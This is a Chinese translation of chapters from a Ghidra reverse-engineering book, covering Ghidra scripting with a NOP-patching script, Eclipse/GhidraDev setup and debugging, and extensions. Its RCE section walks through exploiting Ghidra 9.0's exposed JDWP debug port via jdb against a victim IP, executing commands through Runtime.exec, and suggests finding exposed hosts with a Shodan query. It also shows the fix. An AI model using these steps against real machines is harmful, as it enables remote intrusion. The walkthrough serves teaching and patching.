import ghidra.app.script.GhidraScript;
import ghidra.program.model.util.*;
import ghidra.program.model.reloc.*;
import ghidra.program.model.data.*;
import ghidra.program.model.block.*;
import ghidra.program.model.symbol.*;
import ghidra.program.model.scalar.*;
import ghidra.program.model.mem.*;
import ghidra.program.model.listing.*;
import ghidra.program.model.lang.*;
import ghidra.program.model.pcode.*;
import ghidra.program.model.address.*;

所有导入的内容都在 Ghidra 的 Javadoc 文档中有记录;在开发脚本时,你应该参考该文档。

Javadoc Ghidra API 文档

通过点击 帮助 然后选择 Ghidra API 帮助,如果 JavaDoc 文档尚不存在,Ghidra 的 JavaDoc 文档将会自动生成。然后,你就可以访问上述导入包的文档:/api/ghidra/app/script/package-summary.html/api/ghidra/program/model/。

最后,脚本的主体继承自 GhidraScript,其中 run() 方法必须用你自己的代码实现。在你的实现中,你可以访问以下 GhidraScript 状态:currentProgramcurrentAddresscurrentLocationcurrentSelectioncurrentHighlight

public class NewScript extends GhidraScript {
    public void run() throws Exception {
//TODO Add User Code Here
    }
}

如果你想使用 Python 编写脚本,API 与 Java 相同,脚本的骨架包含一个头部(脚本的其余部分必须由你自己填写),这与 Java 的非常相似:

#TODO write a description for this script
#@author 
#@category Strings
#@keybinding 
#@menupath 
#@toolbar 
#TODO Add User Code Here

事实上,Java API 通过 Jython 被暴露给 Python,Jython 是一个设计用于在 Java 平台上运行的 Python 编程语言实现。

如果你进入 窗口 然后选择 Python,将会出现一个 Python 解释器,当按下 Tab 键时会启用自动完成:

图 2.11 – Ghidra Python 解释器的自动完成特性

图 2.11 – Ghidra Python 解释器的自动完成特性

它还允许你通过使用 help() 函数查看文档。如你所见,在开发 Ghidra 脚本时,强烈推荐保持 Ghidra Python 解释器打开,这样可以快速访问文档、测试代码片段等,非常有用:

图 2.12 – 使用 Python 解释器查询 Ghidra 帮助

图 2.12 – 使用 Python 解释器查询 Ghidra 帮助

在这一部分,我们介绍了脚本类及其结构,如何查询 Ghidra API 文档以实现它,以及 Python 解释器在开发过程中如何帮助我们。在下一部分,我们将通过编写 Ghidra 脚本来实践这一点。

脚本开发

现在你已经了解了实现自己脚本所需的一切。我们从编写头部开始。这个脚本将允许你用无操作指令(NOP 汇编操作码)修补字节。

首先,我们开始编写头部。请注意,@keybinding 允许我们通过 Ctrl + Alt + Shift + N 快捷键组合来执行脚本:

//This simple script allows you to patch bytes with NOP opcode
//@author Packt
//@category Memory
//@keybinding ctrl alt shift n 
//@menupath Tools.Packt.nop
//@toolbar 
import ghidra.app.script.GhidraScript;
import ghidra.program.model.util.*;
import ghidra.program.model.reloc.*;
import ghidra.program.model.data.*;
import ghidra.program.model.block.*;
import ghidra.program.model.symbol.*;
import ghidra.program.model.scalar.*;
import ghidra.program.model.mem.*;
import ghidra.program.model.listing.*;
import ghidra.program.model.lang.*;
import ghidra.program.model.pcode.*;
import ghidra.program.model.address.*;

然后,我们的脚本只需要做的是获取 Ghidra 中当前的光标位置(currentLocation 变量),然后获取该位置的地址(第 03 行),该地址处的指令是未定义的(第 0608 行),用 NOP 指令操作码(即 0x90,第 0911 行)修补该字节,再次反汇编字节(第 12 行)。这里要做的重要工作是寻找合适的 API 函数,这些函数可以在提到的 Javadoc 文档中找到:

00 public class NopScript extends GhidraScript {
01
02   public void run() throws Exception {
03     Address startAddr = currentLocation.getByteAddress();
04     byte nop = (byte)0x90;
05     try {
06       Instruction instruction = getInstructionAt(startAddr)
07       int istructionSize = 
                instruction.getDefaultFallThroughOffset();
08       removeInstructionAt(startAddr);
09       for(int i=0; i<istructionSize; i++){
10         setByte(startAddr.addWrap(i), nop);
11       }
12       disassemble(startAddr);
13     }
14     catch (MemoryAccessException e) {
15       popup("Unable to nop this instruction");
16       return;
17     }
18   }
19 }

当然,如你所知,将这段代码转换为 Python 非常简单,因为如前所述,两个语言的 API 是相同的:

#This simple script allows you to patch bytes with NOP opcode
#@author Packt
#@category Memory
#@keybinding ctrl alt shift n
#@menupath Tools.Packt.Nop
#@toolbar 
currentAddr = currentLocation.getByteAddress()
nop = 0x90
instruction = getInstructionAt(currentAddr)
instructionSize = instruction.getDefaultFallThroughOffset()
removeInstructionAt(currentAddr)
for i in range(instructionSize):
    setByte(currentAddr.addWrap(i), nop)
disassemble(currentAddr) 

在这一部分,我们介绍了如何用两种支持的语言编写简单的 Ghidra 脚本:Java 和 Python。

总结

在这一章,你学习了如何使用现有的 Ghidra 脚本,如何轻松地根据需求调整它们,最后,如何为你喜欢的编程语言编写一个极其简单的脚本,作为本主题的入门。

第六章脚本化恶意软件分析,和 第九章脚本化二进制审计,你将通过开发和分析更复杂的脚本来提高你的 Ghidra 脚本技能,这些脚本用于恶意软件分析和二进制审计。

在下一章,你将学习如何通过将 Ghidra 与 Eclipse IDE 集成来调试 Ghidra,这是一个极其有用且必备的技能,能帮助你扩展 Ghidra 的功能,同时也是探索其内部工作原理的关键。

问题

  1. 为什么 Ghidra 脚本有用?你能用它们做些什么?

  2. 脚本在 Ghidra 中是如何组织的?这种组织方式是与它自身的源代码有关,还是与脚本在文件系统中的位置相关?

  3. 为什么 Java 和 Python 的 Ghidra 脚本 API 之间没有区别?

第三章:第三章:Ghidra 调试模式

在本章中,我们将介绍 Ghidra 调试模式。通过使用 Eclipse IDE,你将能够以专业的方式开发和调试 Ghidra 的任何功能,包括前一章中介绍的插件。

我们选择使用 Eclipse IDE(https://ghidra-sre.org/InstallationGuide.html),因为它是 Ghidra 官方支持的唯一 IDE。从技术上讲,可以使用其他 IDE,但它们并未被官方支持。Ghidra 调试模式功能在 Ghidra 9.0 版本中存在严重的安全问题,因此请使用该程序的任何较新版本来部署开发环境。在本书编写时,当前安全且稳定的版本是 9.1.2。

最后,你将学习如何利用 远程代码执行RCE)漏洞。

在本章中,我们将涵盖以下主要内容:

  • 设置 Ghidra 开发环境

  • 调试 Ghidra 代码和 Ghidra 脚本

  • Ghidra 远程代码执行(RCE)漏洞

技术要求

包含本章所需所有代码的 GitHub 仓库可在此处找到:

github.com/PacktPublishing/Ghidra-Software-Reverse-Engineering-for-Beginners

请查看以下链接观看《代码实战》视频:bit.ly/37EfC5a

设置 Ghidra 开发环境

本章所需安装的以下软件要求:

软件要求概述

我们需要 Java 开发工具包JDK)和 PyDev,因为它们分别允许我们使用 Java 和 Python 编程语言。Eclipse 是 Ghidra 开发的官方集成和支持的 IDE。

尽管 Eclipse 是唯一官方支持的 IDE,但从技术上讲,也可以将 IntelliJ 与 Ghidra 集成(reversing.technology/2019/11/18/ghidra-dev-pt3-dbg.html)或与任何其他 IDE 集成,以便用于高级目的并深入探讨集成的工作原理。

如果需要,你可以安装更多的依赖项。实际上,可能需要更多的依赖项来调试和/或开发特定组件。

Ghidra DevGuide 文档

如果你想安装所有必要的依赖项以创建完整的 Ghidra 开发环境,那么你可以参考文档中的依赖项目录,该目录对于设置环境时回答特定问题也非常有用。你可以在 https://github.com/NationalSecurityAgency/ghidra/blob/master/DevGuide.md 找到相关文档。文档中目前明确指出,你可以按任意顺序安装这些依赖项,但在此情况下,建议首先安装 Java JDK,因为 Eclipse 后续会用到它。

安装 Java JDK

JDK 的安装很简单。首先,你需要解压 ZIP 文件并将 JAVA_HOME 环境变量设置为 JDK 解压位置,然后将其 bin 目录的路径添加到 PATH 环境变量中。

你可以通过打印JAVA_HOME的内容和 Java 版本来检查 JDK 是否安装成功。为此,可以使用以下两个命令并检查输出:

C:\Users\virusito>echo %JAVA_HOME%
C:\Program Files\jdk-11.0.6+10
C:\Users\virusito>java –version
openjdk version "11.0.6" 2020-01-14
OpenJDK Runtime Environment AdoptOpenJDK (build 11.0.6+10)
OpenJDK 64-Bit Server VM AdoptOpenJDK (build 11.0.6+10, mixed mode)

上面的输出表示 JDK 11.0.6 已成功安装和配置。

安装 Eclipse IDE

一旦 Java JDK 安装完成,接下来我们可以安装Eclipse IDE for Java Developers(其他 Eclipse 安装可能会有问题),通过从其官方网站的下载包部分下载(https://www.eclipse.org/downloads/packages/):

图 3.1 – 下载 Eclipse IDE for Java Developers

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_001.jpg)

图 3.1 – 下载 Eclipse IDE for Java Developers

下一步是从 Eclipse 安装 PyDev。

安装 PyDev

安装 Eclipse 后,右键点击之前下载的 PyDev 6.3.1 ZIP 文件,选择全部解压...,将其内容解压到一个文件夹中:

图 3.2 – 将 PyDev 解压到一个文件夹

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_002.jpg)

图 3.2 – 将 PyDev 解压到一个文件夹

PyDev 6.3.1.zip 的所有内容解压到名为 PyDev 6.3.1 的文件夹中:

图 3.3 – 解压 PyDev 6.3.1.zip 文件的内容

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_003.jpg)

图 3.3 – 解压 PyDev 6.3.1.zip 文件的内容

从 Eclipse 中安装,方法是点击安装新软件...选项,在帮助菜单下,然后将解压后的 PyDev 压缩包文件夹路径添加为本地仓库(如下截图中的本地...选项):

图 3.4 – 将 PyDev 添加为 Eclipse 本地仓库

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_007.jpg)

图 3.4 – 将 PyDev 添加为 Eclipse 本地仓库

在这一点上卡住是非常常见的。如您所见,在以下截图中,没有按类别分组的项目。请取消勾选按类别分组项目选项,以避免这种情况:

图 3.5 – PyDev 插件安装程序不可见,因为安装程序按类别分组

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_005.jpg)

图 3.5 – PyDev 插件安装程序不可见,因为安装程序按类别分组

在取消勾选按类别分组项目后,您将能够选择PyDev for Eclipse选项以进行安装:

图 3.6 – 检查是否安装 PyDev

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_009.jpg)

图 3.6 – 检查是否安装 PyDev

点击下一步 >继续安装:

图 3.7 – 审核待安装的项目

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_005.jpg)

图 3.7 – 审核待安装的项目

在安装 PyDev 之前,您必须接受许可协议:

图 3.8 – 接受 PyDev 许可协议

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_010.jpg)

图 3.8 – 接受 PyDev 许可协议

安装 PyDev 后,您需要重新启动 Eclipse,以便软件的更改生效:

图 3.9 – 重启 Eclipse

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_008.jpg)

图 3.9 – 重启 Eclipse

完成此步骤后,您将获得 Eclipse 的 Python 支持。您可以通过点击帮助 | 关于 Eclipse IDE | 安装详情来检查:

图 3.10 – 验证 PyDev 是否成功安装到 Eclipse 中

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_009.jpg)

图 3.10 – 验证 PyDev 是否成功安装到 Eclipse 中

此 Eclipse 菜单还可以用于更新、卸载以及查看任何已安装的 Eclipse IDE 扩展的属性。

安装 GhidraDev

与我们安装 PyDev 类似,对于 Ghidra/Eclipse 同步,您需要安装 GhidraDev 插件,该插件可在 Ghidra 安装目录下的 Extensions\Eclipse\GhidraDev\GhidraDev-2.1.0.zip 找到,但这次不要解压它,而是使用归档...选项:

图 3.11 – 将 GhidraDev 添加为 Eclipse 本地仓库

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_008.jpg)

图 3.11 – 将 GhidraDev 添加为 Eclipse 本地仓库

之后,点击添加。在这种情况下,您无需担心按类别分组项目选项,因为已经有一个Ghidra类别,里面包含了我们感兴趣的GhidraDev插件。只需确保勾选GhidraDev选项,然后点击下一步 >按钮:

图 3.12 – 安装 GhidraDev 插件

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_012.jpg)

图 3.12 – 安装 GhidraDev 插件

之后,您可以利用这个机会查看安装详情。再次点击下一步 >继续安装 GhidraDev:

图 3.13 – 审核待安装的项目

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_03_013.jpg)

图 3.13 – 审核待安装的项目

接受 GhidraDev 许可协议并点击完成

图 3.14 – 接受 GhidraDev 许可条款

图 3.14 – 接受 GhidraDev 许可条款

在这种情况下,安全警告将会出现。不要担心。插件的真实性无法验证,因为它没有签名。点击仍然安装继续:

图 3.15 – 接受安全警告

图 3.15 – 接受安全警告

为了使更改生效,请点击立即重启来重启 Eclipse IDE:

图 3.16 – 重启 Eclipse IDE

图 3.16 – 重启 Eclipse IDE

如您所知,您可以通过帮助 | 关于 Eclipse IDE | 安装详情来检查是否安装了 GhidraDev。但在这种情况下,插件已经集成到 Eclipse 的菜单栏中,因此您可以通过检查菜单栏轻松发现安装是否成功:

图 3.17 – 安装 GhidraDev 插件

图 3.17 – 安装 GhidraDev 插件

安装完成后,GhidraDev 插件将被安装,您还可以指定 Ghidra 安装的位置,以便将它们链接到您的开发项目中。使用GhidraDev | 首选项 | Ghidra 安装…来进行操作。

在这种情况下,我有两个 Ghidra 安装(Ghidra_9.1.1_PUBLICGhidra_9.1.1_PUBLIC - other),其中 Ghidra_9.1.1_PUBLIC 被选为默认。可以通过点击添加…按钮来添加 Ghidra 安装,也可以通过选择表格中的安装行并点击删除来删除安装:

图 3.18 – 将 Ghidra 安装目录添加到 GhidraDev

图 3.18 – 将 Ghidra 安装目录添加到 GhidraDev

在接下来的部分,我们将介绍 Ghidra 调试,它不仅使我们能够识别和修复脚本中的编程错误,还能一步步地跟踪 Ghidra 的执行。调试能力将非常有用,因为它为您打开了 Ghidra 的所有低级内部细节,以供娱乐和高级开发使用。

调试 Ghidra 代码和 Ghidra 脚本

在本节中,我们将探讨如何从 Eclipse 中调试 Ghidra 功能。我们将从回顾如何开发脚本以及如何调试它们开始,然后通过展示如何从源代码调试任何 Ghidra 组件来结束。

从 Eclipse 调试 Ghidra 脚本

现在,让我们开始调试一个 Ghidra 脚本。首先,我们需要使用默认或建议的值 GhidraScripts 创建一个新的 Ghidra 项目:

图 3.19 – 创建 Ghidra 脚本项目

图 3.19 – 创建 Ghidra 脚本项目

点击C:\Users\virusito\ghidra_scripts后,您将看到与您的 Ghidra 安装一起包含的脚本和复选框:

图 3.20 – 配置新的 Ghidra 脚本项目

图 3.20 – 配置新的 Ghidra 脚本项目

您将能够选择通过GhidraDev | Preferences | Ghidra Installations…之前配置的 Ghidra 安装,您还可以通过+按钮打开 Ghidra 安装窗口,添加或删除 Ghidra 安装目录:

图 3.21 – 将 Ghidra 安装与正在创建的 Ghidra 脚本项目关联

图 3.21 – 将 Ghidra 安装与正在创建的 Ghidra 脚本项目关联

点击Next >后,您将能够通过 Jython 启用 Python 支持。您可以添加随 Ghidra 提供的 Jython 解释器,也可以通过点击+按钮下载您自己的解释器(下载链接:www.jython.org/download):

图 3.22 – 通过 Jython 将 Python 支持添加到 Ghidra 脚本项目

图 3.22 – 通过 Jython 将 Python 支持添加到 Ghidra 脚本项目

如果您想使用随 Ghidra 提供的解释器(位于以下目录:\Ghidra\Features\Python\lib\jython-standalone-2.7.1.jar),并且已经将 Ghidra 与项目关联,您将看到这个选项,这样可以避免手动寻找解释器。请在对话框中确认选择:

图 3.23 – 自动添加随 Ghidra 提供的 Jython 解释器

图 3.23 – 自动添加随 Ghidra 提供的 Jython 解释器

之后,您将拥有一个可用的 Jython 解释器,它足以满足一般需求。但如果您在任何时候需要链接自己的解释器,请点击+ | New… | Browse,然后在添加自己的 Jython 解释器后点击OK

图 3.24 – 添加您自己的 Jython 解释器

图 3.24 – 添加您自己的 Jython 解释器

如果您收到以下消息,请点击Proceed anyways

图 3.25 – 在 Eclipse 中将 Python 标准库添加到 PYTHONPATH

图 3.25 – 在 Eclipse 中将 Python 标准库添加到 PYTHONPATH

使用以下命令获取/Lib文件夹路径:

C:\Users\virusito>python -c "from distutils.sysconfig import get_python_lib; print(get_python_lib())"
c:\Python27\Lib\site-packages
C:\Users\virusito>

使用New Folder将该文件夹添加到PYTHONPATH中,并在确认已添加后,如下图所示,点击Apply and Close

图 3.26 – 应用 PYTHONPATH 中的更改

图 3.26 – 应用 PYTHONPATH 中的更改

现在,您可以选择自己的解释器或 Ghidra 中包含的另一个解释器。做出选择后点击Finish

图 3.27 – 选择可用的 Jython 解释器

图 3.27 – 选择可用的 Jython 解释器

在开始实际调试之前,首先让我们看看我们的环境情况,并注意以下几点。

我们创建的 Ghidra 脚本项目由一些文件夹组成,这些文件夹包含了你 Ghidra 安装目录中现有的脚本(你可以通过在 Eclipse 中按下Alt + Enter 快捷键组合来检查任何这些文件夹的路径),默认还包括你的个人脚本,位于%userprofile%\ghidra_scripts\ 文件夹中。

JUnit 4,JDK(JRE 系统库)以及引用库(包括 Ghidra 库)也被链接到项目中,还有整个 Ghidra 安装文件夹:

图 3.28 – Ghidra 脚本项目结构

图 3.28 – Ghidra 脚本项目结构

通过右键点击项目并选择运行方式调试方式,你会注意到,在安装 GhidraDev 插件时,分别自动创建了两种运行和调试模式。

第一个,Ghidra 运行模式,允许你在 GUI 环境中运行 Ghidra,而第二个,Ghidra Headless,则允许你在非 GUI 模式下执行 Ghidra:

图 3.29 – 项目运行模式

图 3.29 – 项目运行模式

让我们通过将 第二章 中开发的 NopScript.java Ghidra 脚本代码粘贴到已集成 Ghidra 的 Eclipse 中来调试它,通过 Ghidra 脚本自动化 RE 任务

为了创建一个新的脚本,按照以下步骤操作:

  1. 转到GhidraDev | 新建 | Ghidra 脚本...图 3.30 – 创建一个新的 Ghidra 脚本

    图 3.30 – 创建一个新的 Ghidra 脚本

  2. 填写所需的字段,如下所示:图 3.31 – 创建 NopScript.java Ghidra 脚本

    图 3.31 – 创建 NopScript.java Ghidra 脚本

  3. 让 GhidraDev 生成相应的脚本框架。通过粘贴 第二章 中编写的 NopScript.java Ghidra 脚本代码来填写脚本主体,通过 Ghidra 脚本自动化 RE 任务图 3.32 – 用 NopScript.java 代码覆盖框架代码

    图 3.32 – 用 NopScript.java 代码覆盖框架代码

  4. 你可以通过在脚本的某些行上添加断点来让程序暂停。可以通过右键点击你想要暂停的行号并选择切换断点来设置断点。或者,双击该行号或按下Ctrl + Shift + B 组合键,同时保持鼠标焦点在该行上也能生效:图 3.33 – 在脚本的第 17 行设置断点

    图 3.33 – 在脚本的第 17 行设置断点

  5. 现在,你可以通过右键点击该代码并选择调试方式 | Ghidra来调试此代码:图 3.34 – 调试 Ghidra 脚本

    图 3.34 – 调试 Ghidra 脚本

  6. 为了强制 Ghidra 到达设置了断点的那一行,你需要在 Ghidra 中运行插件,作用于文件的某个字节,这时它会与 Eclipse 同步,通过 GhidraDev 插件实现。由于该脚本已经将 Ctrl + Alt + Shift + N 快捷键关联起来,你可以使用它们在文件的字节上执行脚本:

图 3.35 – 在 Ghidra 中调试 NopScript.java

图 3.35 – 在 Ghidra 中调试 NopScript.java

同样,Ghidra Python 脚本也可以通过 Eclipse 中的 PyDev 集成进行调试:

图 3.36 – 在 Ghidra 中调试 NopScript.py

图 3.36 – 在 Ghidra 中调试 NopScript.py

同样的过程不仅适用于自定义脚本,也适用于项目中的任何其他插件。

从 Eclipse 调试任何 Ghidra 组件

你不仅可以调试插件,还可以调试 Ghidra 中的任何功能。例如,如果你想调试 Graph.jar

图 3.37 – 将 Graph.jar 文件添加到构建路径中

图 3.37 – 将 Graph.jar 文件添加到构建路径中

然后,你可以将 JAR 文件(现在已添加到构建路径中)链接到其源代码。源代码位于同一文件夹中,命名为 Graph-src.zip。要链接源代码,你需要通过右键单击 JAR 文件打开 Graph.jar 的属性,然后在 Java 源代码附件 部分的 工作区位置 字段中附加该 ZIP 文件:

图 3.38 – 将 Graph.jar 文件链接到其源代码

图 3.38 – 将 Graph.jar 文件链接到其源代码

之后,你将能够展开 Graph.jar 文件,显示其中包含的 *.class 文件。由于源代码已被链接,你将能够查看源代码。你还可以向源代码添加断点,在调试会话期间,当相应的代码行被执行时,断点会被触发:

图 3.39 – 调试功能图谱特性

图 3.39 – 调试功能图谱特性

在本节中,你学习了如何通过 GhidraDev 插件将 Eclipse 与 Ghidra 集成。我们展示了如何从 IDE 中开发和调试 Ghidra 插件,并最终如何调试你选择的 Ghidra 功能,这使你能够独立掌握 Ghidra 内部的工作原理。

Ghidra RCE 漏洞

在本节中,我们将学习如何发现 Ghidra 9.0 中的 RCE 漏洞,它是如何工作的,如何利用它,以及如何修复它。

解释 Ghidra RCE 漏洞

漏洞是由于在 Windows 平台上运行 Ghidra 时位于 launch.bat 文件中的一行,或在 Linux 或 macOS 上运行时位于 launch.sh 文件中的一行。以下是涉及的那行代码:

-Xrunjdwp:transport=dt_socket,server=y,suspend=${SUSPEND},address=*:${DEBUG_PORT}

漏洞在 Ghidra 9.0.1 的第二个版本中被修复,通过替换表示允许所有地址附加调试器的星号(*),并将其限制为 localhost

-Xrunjdwp:transport=dt_socket,server=y,suspend=!SUSPEND!,address=!DEBUG_ADDRESS!

如你所见,这个漏洞显而易见,具有讽刺意味的是,它可能正因为这个原因而被忽视。

利用 Ghidra RCE 漏洞

为了利用这个 RCE 漏洞,我们通过执行调试模式下的 Ghidra 9.0 来设置一个易受攻击的机器。这可以通过执行ghidraDebug.bat文件来完成:

C:\Users\virusito\Desktop\ghidra_9.0_PUBLIC\support>ghidraDebug.bata
Listening for transport dt_socket at address: 18001

然后,我们检索到3828,如以下列表所示:

C:\Users\virusito>tasklist /fi "IMAGENAME eq java.exe" /FO LIST | FIND "PID:"
PID:    3828

然后,我们使用netstat列出与其相关的活动连接:

C:\Users\virusito>netstat -ano | FINDSTR 3828
  TCP    127.0.0.1:18001    0.0.0.0:0    LISTENING    3828

如您在之前的列表中所见,已向全世界打开了一个监听连接,如0.0.0.0:0所示。然后,我们可以从任何地方建立连接。使用以下代码,替换VICTIM_IP_HERE为受害者的 IP 地址:

C:\Users\virusito>jdb -connect com.sun.jdi.SocketAttach:port=18001,hostname=VICTIM_IP_HERE
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
>

然后,查找一个可以运行的类,该类如果已经建立,可能很快就会触发断点:

>classes
...
javax.swing.RepaintManager$DisplayChangedHandler
javax.swing.RepaintManager$PaintManager
javax.swing.RepaintManager$ProcessingRunnable
javax.swing.RootPaneContainer
javax.swing.ScrollPaneConstants
...

当重绘窗口时,javax.swing.RepaintManager$ProcessingRunnable将被触发。这是一个非常好的候选项。让我们通过使用stop命令在它上面添加一个断点:

> stop in javax.swing.RepaintManager$ProcessingRunnable.run()
Set breakpoint javax.swing.RepaintManager$ProcessingRunnable.run()

然后,断点很快被触发:

Breakpoint hit: "thread=AWT-EventQueue-0", javax.swing.RepaintManager$ProcessingRunnable.run(), line=1.871 bci=0

在这种情况下,您可以执行任何任意命令。我将通过calc.exe执行一个计算器,但您可以将其替换为任何命令注入有效负载:

AWT-EventQueue-0[1] print new java.lang.Runtime().exec("calc.exe")
new java.lang.Runtime().exec("calc.exe") = "Process[pid=9268, exitValue="not exited"]"

在这个案例中,Windows 计算器程序在被黑客攻击的计算机上执行。我们知道攻击是成功的,因为我们获得了反馈,表明在受害者的机器上创建了一个新进程,进程 ID 为9268

修复 Ghidra RCE 漏洞

为了修复漏洞,DEBUG_ADDRESS变量被设置为127.0.0.1:18001,这样可以将传入的调试连接限制为localhost

if "%DEBUG%"=="y" (
    if "%DEBUG_ADDRESS%"=="" (
        set DEBUG_ADDRESS=127.0.0.1:18001
    )

手动审查这些行可以让你自己检查给定的 Ghidra 版本是否容易受到此攻击。

寻找易受攻击的计算机

Ghidra RCE 漏洞是一个小而极为重要的错误,因为易受攻击的计算机可以通过一种直接的方式被定位;例如,通过查询 Shodan(你需要一个 Shodan 账户并且登录,否则这个链接的结果将无法访问):www.shodan.io/search?query=port:18001

正如你所知道的,这个漏洞可能并不是国家安全局NSA)给程序留下的后门。NSA 有自己的零日漏洞来入侵计算机,肯定不需要为了入侵全球人民的计算机而在自己的程序中插入后门。事实上,这样做对它的声誉来说将是一个非常糟糕的举动。

重要提示

在使用调试模式时,确保你使用的是修补版本的 Ghidra,因为使用易受攻击的 Ghidra 版本存在被黑客攻击的高风险。

总结

在本章中,你学习了如何使用 GhidraDev 插件同步 Eclipse 和 Ghidra,以便进行开发和调试。你学到的不仅是调试脚本的技能,还能调试任何 Ghidra 源代码行,使你能够独立探索这个强大的框架的内部机制。

我们还了解了 Ghidra RCE 漏洞的工作原理,如何修补它,如何利用它,以及为什么它可能不是 NSA 的后门。在下一章,我们将介绍用于从源代码自由扩展 Ghidra 的 Ghidra 插件。

问题

  1. 是否可以使用源代码而非字节码调试已编译的 Ghidra 版本?

  2. 是否可以使用除 Eclipse 以外的 IDE 调试 Ghidra?其他 IDE 是否受支持?

  3. 你认为 NSA 监视 Ghidra 用户的可能性大吗?你认为这可能包括后门吗?

深入阅读

你可以参考以下链接,获取更多有关本章涉及主题的信息:

第四章:第四章:使用 Ghidra 扩展

在本章中,我们将介绍 Ghidra 扩展或模块。通过使用 Ghidra 扩展,您将能够根据需要将新功能集成到 Ghidra 中。

扩展是可选组件,可以通过实验性或用户贡献的 Ghidra 插件或分析器扩展 Ghidra 的功能。例如,使用扩展,您可以将其他工具集成到 Ghidra 中,如 Eclipse 或 IDA Pro。

我们将继续使用 Eclipse IDE 进行开发,但还需要安装 Gradle 以编译 Ghidra 扩展。Ghidra 程序及其扩展都已准备好使用 Gradle 进行构建。

通过开发扩展或模块(以前称为 contribs),您将能够对 Ghidra 项目做出更高的贡献(例如,增加与其他逆向工程工具的集成、支持新的文件格式和处理器等),而不仅仅是开发简单的插件。

最后,您将学习如何使用 Eclipse IDE 进行扩展开发,以及如何在开发过程结束后从 Eclipse 导出 Ghidra 扩展。

在本章中,我们将涵盖以下主要内容:

  • 安装现有的 Ghidra 扩展

  • 理解 Ghidra 扩展骨架

  • 开发 Ghidra 扩展

技术要求

本章的要求如下:

假设您已经按照上一章的说明安装了 Java JDK 11、PyDev 6.3.1 和 Eclipse Java 开发人员版 IDE,您还需要一些额外的软件要求才能编译 Ghidra 扩展:gradle.org/next-steps/?version=5.0&format=bin

安装 Gradle 是一个简单的过程。它包括将 ZIP 文件解压到C:\Gradle\文件夹(按照官方安装文档的说明),然后设置GRADLE_HOME系统环境变量指向C:\Gradle\gradle-5.0,最后将%GRADLE_HOME%\bin添加到PATH系统环境变量中。

包含本章节所有必要代码的 GitHub 仓库可以在 github.com/PacktPublishing/Ghidra-Software-Reverse-Engineering-for-Beginners/tree/master/Chapter04 中找到。

查看以下链接,观看“代码实践”视频:bit.ly/2VTiUfw

安装 Gradle 文档

有关安装 Gradle 的更多详细信息,请参阅官方在线文档:docs.gradle.org/current/userguide/installation.html。您也可以参考 Gradle ZIP 文件中的离线文档:getting-started.html

安装现有的 Ghidra 扩展

Ghidra 扩展是扩展 Ghidra 功能的 Java 代码,作为可安装的包进行分发。Ghidra 扩展可以访问 Ghidra 的内部,允许它们自由扩展 Ghidra。

在安装 Ghidra 后,您可以在适当的 ghidra_9.1.2\ Extensions\Ghidra 文件夹中找到一些现成可用的扩展:

  • ghidra_9.1.2_PUBLIC_20200212_GnuDisassembler.zip

  • ghidra_9.1.2_PUBLIC_20200212_sample.zip

  • ghidra_9.1.2_PUBLIC_20200212_SampleTablePlugin.zip

  • ghidra_9.1.2_PUBLIC_20200212_SleighDevTools.zip

让我们看看安装这些现成扩展的步骤。请打开 Chapter04 Ghidra 项目,hello world.gpr,并按照以下步骤操作:

  1. 这些扩展可以通过点击 Ghidra 中的 Extensions\Ghidra 目录轻松安装。

  2. 在勾选 SampleTablePlugin 并点击 确定 后,您将看到以下屏幕,这样您就可以确认已勾选该扩展:图 4.2 – 安装 SampleTablePlugin 后出现的“扩展已更改!”消息

    图 4.2 – 安装 SampleTablePlugin 后出现的“扩展已更改!”消息

  3. 点击确定并手动重启 Ghidra 后,当通过 工具 | 运行工具 | 代码浏览器 打开 CodeBrowser 时,会弹出一个提示消息,询问是否配置插件:图 4.3 – 安装 SampleTablePlugin 并重启 Ghidra 后出现的“发现新插件!”消息

    图 4.3 – 安装 SampleTablePlugin 并重启 Ghidra 后出现的“发现新插件!”消息

  4. 通过肯定回答,我们可以趁机配置我们感兴趣的插件:图 4.4 – 样本表插件配置

    图 4.4 – 样本表插件配置

  5. 完成此步骤后,名为 样本表提供者 的新选项将出现在 窗口 菜单中:图 4.5 – 插件实现的样本表提供者窗口

    图 4.5 – 插件实现的样本表提供者窗口

  6. 点击它,你将看到 Ghidra 的功能已经通过一个停靠窗口得到了扩展,允许你计算函数度量。在这种情况下,我在反汇编窗口中检查了__main函数。

    你可以使用过滤器选项在符号树窗格中轻松定位__main函数(注意它以两个_字符开头):

图 4.6 – 使用符号树在反汇编中定位函数

图 4.6 – 使用符号树在反汇编中定位__main函数

运行针对__main的算法结果如下所示:

图 4.7 – 在函数上执行的示例表格提供器

图 4.7 – 在 __main 函数上执行的示例表格提供器

在接下来的章节中,我们将分析这个 Ghidra 扩展的源代码。

分析示例表格提供器插件的代码

大多数 Ghidra 组件都是可扩展的,但在开发时,你必须首先决定你处理的项目类型:分析器、插件、加载器、文件系统或导出器。

在这种情况下,示例表格提供器由一个 Ghidra 插件扩展组成。插件扩展是一个从ghidra.app.plugin.ProgramPlugin类扩展的程序,使其能够处理最常见的程序事件,并实现 GUI 组件。

